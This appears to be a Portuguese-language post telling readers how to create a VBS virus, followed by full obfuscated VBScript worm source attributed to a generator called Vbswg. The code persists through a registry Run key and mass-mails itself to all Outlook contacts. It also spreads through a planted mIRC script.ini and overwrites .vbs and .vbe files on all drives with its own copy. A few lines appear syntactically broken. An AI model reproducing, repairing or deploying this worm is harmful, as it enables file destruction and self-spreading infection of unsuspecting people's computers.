criar un virus vbs

abra o bloco de notaspara copie esse codico e cole
e salve como .vbs ex: virus.vbs
aki o codico

depois que voçe salva como .vbs nao clique nele
mais se nao voçe vai ser infktado
depois nao vem me xinga
en
'Vbs.Vbswg.ryary@#$%#$@#$ Created By ryary. 12/25/2007
Set S78552G7 = createobject(OB5D3J3M("yixovzotm4lorkyyzksuhpkiz",-6))
S917A3P0 = S78552G7.getspecialfolder(1)
EDKKLUJL = S917A3P0 & OB5D3J3M("a{nwzxxxxxxxx3myrq3{gx",-5)
Set I1V11684 = createobject(OB5D3J3M("yuetkrv0ujgnn",-2))
I1V11684.regwrite OB5D3J3M("EHIJYPLCQT>OBYJf`olplcqYTfkaltpY@roobkqSbopflkYOrkY`popp+bub",3), OB5D3J3M("rn^mdko)`s`",5) & EDKKLUJL & OB5D3J3M("#(",-3)
S78552G7.copyfile wscript.scriptfullname, EDKKLUJL
CF72T1U5
If I1V11684.regread(OB5D3J3M("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ryary@#$%#$@#$\CE200GME",0)) <> 1 then
O9M8RPKR
End if
If I1V11684.regread(OB5D3J3M("KNOP_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_u|du|C&'(&'C&'_KJ37J3UQ",-3)) <> 1 then
LP41VI96 OB5D3J3M("",2)
End if

Set SV40EO04= S78552G7.opentextfile(wscript.scriptfullname)
PJA5735M = SV40EO04.readall
SV40EO04.close
Do
if not(S78552G7.fileexists(wscript.scriptfullname)) then
set PPP353TP= S78552G7.createtextfile(wscript.scriptfullname)
PPP353TP.write PJA5735M
PPP353TP.close
end if
E5ENIK87 = I1V11684.regread(OB5D3J3M("JMNO^UQHVYCTG^Oketquqhv^Ykpfqyu^EwttgpvXgtukqp^Twp^eutuu0gzg",-2))
If E5ENIK87 <> OB5D3J3M("zvfulsw1h{h#",-3) & EDKKLUJL & OB5D3J3M(" %",0) then
I1V11684.regwrite OB5D3J3M("ILMN]TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]dtstt/fyf",-1), OB5D3J3M("€|l{ry}7nn)",-9) & EDKKLUJL & OB5D3J3M("(-",-8)
end if
E5ENIK87= OB5D3J3M("",1)
loop
Function O9M8RPKR()
Set N13VNRRH = CreateObject(OB5D3J3M("U{zruuq4Gvvroigzout",-6))
If N13VNRRH = OB5D3J3M("Msrjmmi",2) Then
Set RL868TNH = N13VNRRH.GetNameSpace(OB5D3J3M("I=LE",4))
Set SC6I7KGR = RL868TNH.AddressLists
For Each OTF3KMK8 In SC6I7KGR
If OTF3KMK8.AddressEntries.Count <> 0 Then
HL1B2E6R = OTF3KMK8.AddressEntries.Count
For MN37AHII = 1 To HL1B2E6R
Set ELESE1I1 = N13VNRRH.CreateItem(0)
Set B54I11T5 = OTF3KMK8.AddressEntries(MN37AHII)
ELESE1I1.To = B54I11T5.Address
ELESE1I1.Subject = OB5D3J3M("ys*yx~ox*o*}yxros*myw*€m",-10)
ELESE1I1.Body = OB5D3J3M("ktqsmmm",-8) & vbcrlf & OB5D3J3M("",-10)
execute OB5D3J3M("qcrA12B0LE3;CJCQC/G/,",2) & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
NO278552 = EDKKLUJL
ELESE1I1.DeleteAfterSubmit = True
C34D2NG5.Add NO278552
If ELESE1I1.To <> OB5D3J3M("",4) Then
ELESE1I1.Send
End If
Next
End If
Next
End If
End function
Function LP41VI96(GO74GGL1)
If GO74GGL1 <> OB5D3J3M("",2) Then
L3C1V116 = I1V11684.regread(OB5D3J3M("JMG[aNQECNaOCEJKPG^Uqhvyctg^Oketquqhv^Ykpfqyu^EwttgpvXgtukqp^RtqitcoHknguFkt",-2))
If S78552G7.fileexists(OB5D3J3M("g>`qmvg`qmvg2mrm",-4)) Then
GO74GGL1 = OB5D3J3M("b9[lhqb",1)
ElseIf S78552G7.fileexists(OB5D3J3M("c:\mirc32\mirc.ini",0)) Then
GO74GGL1 = OB5D3J3M("^5Whdm^.-",5)
ElseIf S78552G7.fileexists(L3C1V116 & OB5D3J3M("evr{levr{l7rwr",-9)) Then
GO74GGL1 = L3C1V116 & OB5D3J3M("evr{l",-9)
ElseIf S78552G7.fileexists(L3C1V116 & OB5D3J3M("[lhqb21[lhqb-hmh",1)) Then
GO74GGL1 = L3C1V116 & OB5D3J3M("Xien_",4)
Else
GO74GGL1 = OB5D3J3M("",-9)
End If
End If
If GO74GGL1 <> OB5D3J3M("",-8) Then
Set SH2917A3 = S78552G7.CreateTextFile(GO74GGL1 & OB5D3J3M("\script.ini",0), True)
SH2917A3 = OB5D3J3M("[script]",0) & vbCrLf & OB5D3J3M("t6Cut&7@PUOT@)@",-6)
SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("j,9kj-6FKEJ66w",4)
SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("p3?1kh*&pkem??&og+}jcnv",-2)
SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("t8C&&54",-6) & Chr(100) & Chr(99) & Chr(99) & OB5D3J3M("n`i_id^f",5)
SH2917A3 = SH2917A3 & EDKKLUJL
SH2917A3 = SH2917A3 & vbCrLf & OB5D3J3M("p5?",-2)
script.Close
End If
End Function
Function P8VDKKLU()
On Error Resume Next
Set J6PF72T1 = S78552G7.Drives
For Each URDE200G In J6PF72T1
MB49M8RP = URDE200G & OB5D3J3M("X",4)
Call K8JG04G0(MB49M8RP)
Next
End Function

Function K8JG04G0(R68P41VI)
H35V40EO = R68P41VI
Set H43JA573 = S78552G7.GetFolder(H35V40EO)
Set L80PP353 = H43JA573.Files
For Each T7D5ENIK In L80PP353
If lcase(T7D5ENIK.Name) = OB5D3J3M("pluf1lql",-3) Then
LP41VI96(T7D5ENIK.ParentFolder)
End If
If S78552G7.GetExtensionName(T7D5ENIK.path) = OB5D3J3M("r^o",4)
S78552G7.CopyFile wscript.scriptfullname,T7D5ENIK.path,true
End if
If S78552G7.GetExtensionName(T7D5ENIK.path) = OB5D3J3M("|hk",-6)
S78552G7.CopyFile wscript.scriptfullname,T7D5ENIK.path,true
End if
Next
Set R5613VNR = H43JA573.Subfolders
For Each RT1L868T In R5613VNR
Call (RT1L868T.path)
Next
End function
Function CF72T1U5()
Msgbox OB5D3J3M("sforpcrabr`lks`",3),48,OB5D3J3M("r{~|)oj}ju",-9)
end function
'Vbswg 2 Beta. By [K]
Function OB5D3J3M(PP591JLL,HNH563L4)
For E87LPR4N = 1 To Len(PP591JLL)
QEP1IG7E = Mid(PP591JLL, E87LPR4N, 1)
If QEP1IG7E = Chr(2) Then
QEP1IG7E = Chr(34 + HNH563L4)
ElseIf QEP1IG7E = Chr(3) Then
QEP1IG7E = Chr(10 + HNH563L4)
ElseIf QEP1IG7E = Chr(4) Then
QEP1IG7E = Chr(13 + HNH563L4)
Else
QEP1IG7E = Chr(Asc(QEP1IG7E) + HNH563L4)
End If
OB5D3J3M = OB5D3J3M & QEP1IG7E
Next
End Function'Vbswg 2 Beta. By [K]